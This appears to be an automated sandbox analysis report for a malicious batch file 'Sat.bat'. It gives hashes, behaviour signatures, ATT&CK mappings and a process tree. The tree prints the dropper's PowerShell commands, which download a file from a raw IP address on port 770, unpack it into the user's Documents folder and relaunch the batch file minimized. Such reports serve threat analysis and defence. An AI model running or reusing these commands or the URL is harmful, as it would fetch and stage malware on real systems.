3442a9e4f21d14a478076694bf1dd44268e950262270e7637936c05657531462

General

Target

Sat.bat
Size

2KB
MD5

0e2fff554ddadc58aaff7978ec06aa32
SHA1

b453b17905235ea96150c90711285f7879d3afc0
SHA256

64c79060f8478363e93ae210e0bd7ba9178fecdd1a0badba4fed5382180d3a80
SHA512

c54cc4c956dc733835d0d40d49377b23b8b63bfa118e0e9ed5bba18e2b2b5f4a33656cd5b75230cd7dec05a98a3bc4b84b429121cffe3644fff72fc628b83b76

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://109.199.101.109:770/xx.jpg

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

4 2864 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exe

pid process

2876 powershell.exe
1516 powershell.exe
2864 powershell.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

2760 timeout.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid process

1516 powershell.exe
1516 powershell.exe
1516 powershell.exe
2864 powershell.exe
2876 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1516 powershell.exe
Token: SeDebugPrivilege 2864 powershell.exe
Token: SeDebugPrivilege 2876 powershell.exe

flow	pid	process
4	2864	powershell.exe

pid	process
2876	powershell.exe
1516	powershell.exe
2864	powershell.exe

pid	process
2760	timeout.exe

pid	process
1516	powershell.exe
1516	powershell.exe
1516	powershell.exe
2864	powershell.exe
2876	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1516	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

cmd.exepowershell.execmd.exe

description	pid	process	target process
PID 392 wrote to memory of 1516	392	cmd.exe	powershell.exe
PID 392 wrote to memory of 1516	392	cmd.exe	powershell.exe
PID 392 wrote to memory of 1516	392	cmd.exe	powershell.exe
PID 1516 wrote to memory of 2920	1516	powershell.exe	cmd.exe
PID 1516 wrote to memory of 2920	1516	powershell.exe	cmd.exe
PID 1516 wrote to memory of 2920	1516	powershell.exe	cmd.exe
PID 2920 wrote to memory of 2864	2920	cmd.exe	powershell.exe
PID 2920 wrote to memory of 2864	2920	cmd.exe	powershell.exe
PID 2920 wrote to memory of 2864	2920	cmd.exe	powershell.exe
PID 2920 wrote to memory of 2876	2920	cmd.exe	powershell.exe
PID 2920 wrote to memory of 2876	2920	cmd.exe	powershell.exe
PID 2920 wrote to memory of 2876	2920	cmd.exe	powershell.exe
PID 2920 wrote to memory of 2760	2920	cmd.exe	timeout.exe
PID 2920 wrote to memory of 2760	2920	cmd.exe	timeout.exe
PID 2920 wrote to memory of 2760	2920	cmd.exe	timeout.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Sat.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\Sat.bat' -ArgumentList 'minimized' -WindowStyle Minimized"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1516
- - C:\Windows\system32\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\Sat.bat" minimized "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://109.199.101.109:770/xx.jpg', 'C:\Users\Admin\Documents\x.zip')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Expand-Archive -Path 'C:\Users\Admin\Documents\x.zip' -DestinationPath 'C:\Users\Admin\Documents'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2876
  - - C:\Windows\system32\timeout.exe
      timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:2760

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4f5eb856568fbfafc7b68b4972decd5b

SHA1
26590e78541cd76680c945f1470be7aef11d115d

SHA256
1dec1d5c81154533d64812dc51d25663c9cef73a3613670cc756122b41ee0a89

SHA512
83ae06f3d8c3756de4ed03c3bd6e876d8c05ae80d35b4e3662f281f7b9826129f416774b3f1190a754bd9f02b9f883f7445d960ae426f82b09ad74dbe801cb3e

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1516-4-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/1516-6-0x000000001B410000-0x000000001B6F2000-memory.dmp

Filesize
2.9MB

Download
memory/1516-7-0x0000000002660000-0x0000000002668000-memory.dmp

Filesize
32KB

Download
memory/1516-5-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1516-8-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1516-9-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1516-10-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1516-11-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/2864-17-0x000000001B430000-0x000000001B712000-memory.dmp

Filesize
2.9MB

Download
memory/2864-18-0x0000000001E40000-0x0000000001E48000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing